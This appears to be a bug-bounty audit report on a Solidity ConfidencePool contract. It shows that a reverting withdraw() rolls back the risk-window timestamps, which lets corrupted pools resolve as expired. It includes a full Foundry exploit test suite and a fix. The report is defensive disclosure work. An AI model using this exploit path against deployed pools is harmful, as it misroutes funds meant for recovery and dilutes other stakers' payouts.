FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Revert-prone risk observation lets corrupted pools resolve as expired and refund staker principal

Author Revealed upon completion

Root + Impact

Normal behavior

ConfidencePool lazily records the first observed active-risk and terminal moments in riskWindowStart and riskWindowEnd.

These one-way timestamps determine:

  • whether the pool had an observed active-risk interval;

  • the time-weighted bonus distribution;

  • whether an unmoderated CORRUPTED agreement must enter the bad-faith corrupted fallback after MODERATOR_CORRUPTED_GRACE;

  • whether claimExpired() may instead resolve the pool as EXPIRED.

During UNDER_ATTACK, an ordinary pool interaction or pokeRiskWindow() is intended to seal riskWindowStart. Once that observation exists, a later unmoderated CORRUPTED state is automatically resolved through the corrupted recovery path after the grace period.

Issue

Several public functions call _observePoolState() before performing checks that can revert.

For example, withdraw() first observes the registry state and only afterward checks whether withdrawals are disabled:

function withdraw() external nonReentrant {
_observePoolState();
// @> During UNDER_ATTACK this check reverts after
// @> _observePoolState() temporarily wrote riskWindowStart.
if (!_withdrawsAllowed()) {
revert WithdrawsDisabled();
}
// ...
}

During UNDER_ATTACK, _observePoolState() temporarily seals the active-risk latch:

function _observePoolState() internal {
IAttackRegistry.ContractState currentState =
_getAgreementState();
if (
riskWindowStart == 0
&& _isActiveRiskState(currentState)
) {
// @> This one-way observation is written inside a
// @> transaction that can deterministically revert later.
riskWindowStart = block.timestamp;
}
// ...
}

The later WithdrawsDisabled() revert rolls back the entire transaction, including the newly written riskWindowStart.

Consequently, the pool retains:

riskWindowStart == 0

even though an ordinary pool call reached _observePoolState() while the agreement was UNDER_ATTACK.

Settlement later treats this zero value as proof that no active-risk interval was observed.

The strongest consequence occurs when the agreement later becomes CORRUPTED and the moderator does not act. After the 180-day grace period, claimExpired() uses the missing risk latch and resolves the pool as EXPIRED instead of entering the bad-faith CORRUPTED fallback.

This refunds staker principal that the correctly sealed control path sends to recoveryAddress.

The same root cause also affects bonus settlement:

  • correctly sealed active risk pays stake plus the time-weighted bonus;

  • a reverted first observer leaves riskWindowStart == 0;

  • the staker receives principal only;

  • the entire bonus becomes sweepable to recoveryAddress.

A reverted first terminal observer can likewise roll back riskWindowEnd, allowing a later interaction to seal a later effective terminal time and alter relative bonus shares.

Risk

Likelihood: Medium

  • The trigger is an ordinary public withdraw() call from a regular user.

  • No owner, sponsor, moderator, recovery-address or registry privilege is required.

  • The transaction deterministically reaches _observePoolState() and then reverts with the protocol's expected WithdrawsDisabled() error during UNDER_ATTACK.

  • The trigger costs only gas and does not require an unsupported token or direct storage manipulation.

  • The incorrect corrupted fallback occurs when no later successful interaction seals riskWindowStart before the registry becomes terminal.

  • Moderator inactivity is already handled by the protocol through MODERATOR_CORRUPTED_GRACE; the vulnerability changes the fallback outcome after that documented period.

Impact: Medium

  • A genuinely corrupted pool can resolve as EXPIRED.

  • Staker principal is returned instead of entering the bad-faith corrupted recovery path.

  • In the PoC, the vulnerable path returns 100e18 principal to Alice and sends only the 50e18 bonus to recovery.

  • Under identical conditions with a successful active-risk seal, the pool resolves CORRUPTED and sends the complete 150e18 balance to recoveryAddress.

  • In survived settlement, the same missing latch excludes the entire 50e18 bonus from the staker payout.

  • The affected amount scales with the pool's principal and bonus balances.

Proof of Concept

Create:

test/audit/RiskWindowObserverRollbackExploit.t.sol

with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {
IAttackRegistry
} from "@battlechain/interface/IAttackRegistry.sol";
import {
IConfidencePool
} from "src/interfaces/IConfidencePool.sol";
import {
PoolStates
} from "src/libraries/PoolStates.sol";
import {
BaseConfidencePoolTest
} from "test/helpers/BaseConfidencePoolTest.sol";
contract RiskWindowObserverRollbackExploitTest
is BaseConfidencePoolTest
{
function testExploit_revertedWithdrawInUnderAttackZeroesBonusAndSweepsItToRecovery()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// withdraw() reaches _observePoolState(), temporarily
// writes riskWindowStart, and then reverts because
// withdrawals are disabled during active risk.
vm.prank(alice);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
pool.withdraw();
// The revert also rolls back the supposedly one-way
// active-risk observation.
assertEq(
pool.riskWindowStart(),
0,
"active-risk observation was rolled back"
);
vm.warp(vm.getBlockTimestamp() + 5 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
// Alice receives principal only because the pool
// incorrectly treats the lifecycle as no observed risk.
assertEq(
token.balanceOf(alice) - aliceBefore,
100 * ONE,
"bonus was excluded from the survived payout"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
50 * ONE,
"the entire bonus was swept to recovery"
);
}
function testControl_successfulPokeInSameRiskWindowPaysFullBonusToStaker()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// The same active-risk interval is successfully sealed.
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 5 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(
token.balanceOf(alice) - aliceBefore,
150 * ONE,
"control pays stake plus the full bonus"
);
vm.expectRevert(
IConfidencePool.NothingToSweep.selector
);
pool.sweepUnclaimedBonus();
}
function testExploit_revertedActiveRiskObserverLetsCorruptedPoolFallThroughToExpired()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// A regular user triggers the revert-prone observer path.
vm.prank(alice);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
pool.withdraw();
assertEq(
pool.riskWindowStart(),
0,
"revert erased the active-risk latch"
);
// The agreement later becomes genuinely corrupted.
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
// The moderator remains unavailable, so the documented
// fallback is reached after the grace period.
vm.warp(
pool.expiry()
+ pool.MODERATOR_CORRUPTED_GRACE()
);
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
// Because riskWindowStart is still zero, claimExpired()
// incorrectly resolves EXPIRED rather than CORRUPTED.
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"corrupted pool incorrectly resolved expired"
);
assertEq(
token.balanceOf(alice) - aliceBefore,
100 * ONE,
"staker recovered principal from corrupted pool"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
50 * ONE,
"recovery received only bonus, not principal"
);
}
function testControl_successfulActiveRiskSealTriggersAutoCorruptedBackstop()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// Correct control: active risk is persistently observed.
pool.pokeRiskWindow();
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.warp(
pool.expiry()
+ pool.MODERATOR_CORRUPTED_GRACE()
);
vm.prank(alice);
pool.claimExpired();
// The same claimExpired() call correctly activates the
// bad-faith corrupted fallback when the latch exists.
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED),
"control must resolve corrupted"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
150 * ONE,
"control routes the full pool balance to recovery"
);
}
function testExploit_revertedFirstTerminalObserverLetsLateStakerShiftTToExpiry()
external
{
(
uint256 aliceExploit,
uint256 bobExploit
) = _runDelayedTerminalObservationScenario(true);
(
uint256 aliceControl,
uint256 bobControl
) = _runDelayedTerminalObservationScenario(false);
assertGt(
bobExploit,
bobControl,
"late staker improves payout after delayed terminal seal"
);
assertLt(
aliceExploit,
aliceControl,
"early staker is diluted"
);
}
function _runDelayedTerminalObservationScenario(
bool exploit
)
internal
returns (
uint256 alicePayout,
uint256 bobPayout
)
{
setUp();
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 1 days);
_stake(bob, 100 * ONE);
vm.warp(vm.getBlockTimestamp() + 1 days);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
if (exploit) {
// The first terminal observer reaches
// _observePoolState(), writes riskWindowEnd, and
// then reverts. The terminal seal is rolled back.
vm.prank(bob);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
pool.withdraw();
assertEq(
pool.riskWindowEnd(),
0,
"terminal observation was rolled back"
);
} else {
pool.pokeRiskWindow();
assertGt(
pool.riskWindowEnd(),
0,
"control permanently seals terminal time"
);
}
vm.warp(pool.expiry());
uint256 bobBefore =
token.balanceOf(bob);
vm.prank(bob);
pool.claimExpired();
bobPayout =
token.balanceOf(bob) - bobBefore;
uint256 aliceBefore =
token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
alicePayout =
token.balanceOf(alice) - aliceBefore;
}
}

Run:

forge test \
--match-path test/audit/RiskWindowObserverRollbackExploit.t.sol \
-vvv

Expected result:

Ran 5 tests for
test/audit/RiskWindowObserverRollbackExploit.t.sol:
RiskWindowObserverRollbackExploitTest
[PASS]
testControl_successfulActiveRiskSealTriggersAutoCorruptedBackstop()
[PASS]
testControl_successfulPokeInSameRiskWindowPaysFullBonusToStaker()
[PASS]
testExploit_revertedActiveRiskObserverLetsCorruptedPoolFallThroughToExpired()
[PASS]
testExploit_revertedFirstTerminalObserverLetsLateStakerShiftTToExpiry()
[PASS]
testExploit_revertedWithdrawInUnderAttackZeroesBonusAndSweepsItToRecovery()
Suite result: ok. 5 passed; 0 failed; 0 skipped

The corrupted exploit and control use identical:

  • stake and bonus balances;

  • registry lifecycle;

  • expiry;

  • grace period;

  • moderator inactivity.

The only difference is whether the first active-risk observation is persistently sealed or occurs inside a call that later reverts.

That difference changes the final outcome from:

CORRUPTED:
150e18 sent to recoveryAddress

to:

EXPIRED:
100e18 principal returned to the staker
50e18 bonus left for recoveryAddress

Recommended Mitigation

Do not rely on a one-way lifecycle observation written inside a public call that can be expected to revert afterward.

At minimum, move revert-prone state and authorization checks before _observePoolState() where those calls should not count as successful observers:

function withdraw() external nonReentrant {
- _observePoolState();
if (!_withdrawsAllowed()) {
revert WithdrawsDisabled();
}
+ _observePoolState();
// withdrawal logic
}

Apply the same ordering review to every public function that invokes _observePoolState() and may revert afterward.

More robustly, settlement should not interpret riskWindowStart == 0 as definitive proof that no active-risk lifecycle occurred when this value depends only on opportunistic local observations.

A safer architecture would either:

  • use a dedicated non-reverting observation call;

  • derive the relevant lifecycle timestamps from an authoritative registry source;

  • or prevent the no-observed-risk and EXPIRED branches from overriding a currently CORRUPTED registry state solely because the local latch is zero.

For the corrupted fallback specifically, a live terminal CORRUPTED state should not resolve as EXPIRED merely because a local observation timestamp was never successfully persisted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!